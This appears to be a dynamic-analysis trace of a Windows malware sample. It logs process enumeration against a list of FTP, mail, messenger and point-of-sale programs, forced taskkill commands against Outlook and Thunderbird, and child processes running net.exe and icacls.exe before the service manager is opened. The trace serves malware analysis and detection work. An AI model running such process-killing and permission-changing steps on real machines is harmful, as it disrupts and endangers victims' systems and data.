	[0123.537] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0123.540] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0123.543] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0123.546] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0123.549] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0123.552] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0123.555] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0123.559] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0123.562] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0123.565] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0123.789] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0123.842] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0123.845] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0123.849] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0123.852] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0123.855] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0123.858] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0123.862] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0123.866] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0123.869] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0123.873] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0123.876] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1
	[0124.265] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM outlook.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0127.251] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0127.255] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0127.258] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0127.261] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0127.265] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0127.268] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM thunderbird.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0132.262] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0132.265] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0132.268] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0132.271] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0132.274] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0132.277] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0132.280] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0132.283] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0132.286] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0132.289] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0132.293] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0132.295] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0132.298] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0132.301] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0132.548] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0132.552] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0132.556] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0132.559] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0132.563] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0132.567] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0132.570] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0132.573] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0132.576] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0132.579] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0132.582] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0132.793] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0132.798] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0132.802] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0132.805] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0132.809] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0132.811] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0132.814] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0132.817] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0132.820] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.054] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0133.057] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.060] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0133.063] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.065] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0133.070] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.073] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0133.075] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0133.078] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0133.080] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0133.083] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0133.085] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.088] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0133.090] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.547] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.549] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.551] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0133.553] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0133.555] Process32NextW (in: hSnapshot=0x17c, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0133.557] CloseHandle (hObject=0x17c) returned 1
	[0133.557] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xb0b20
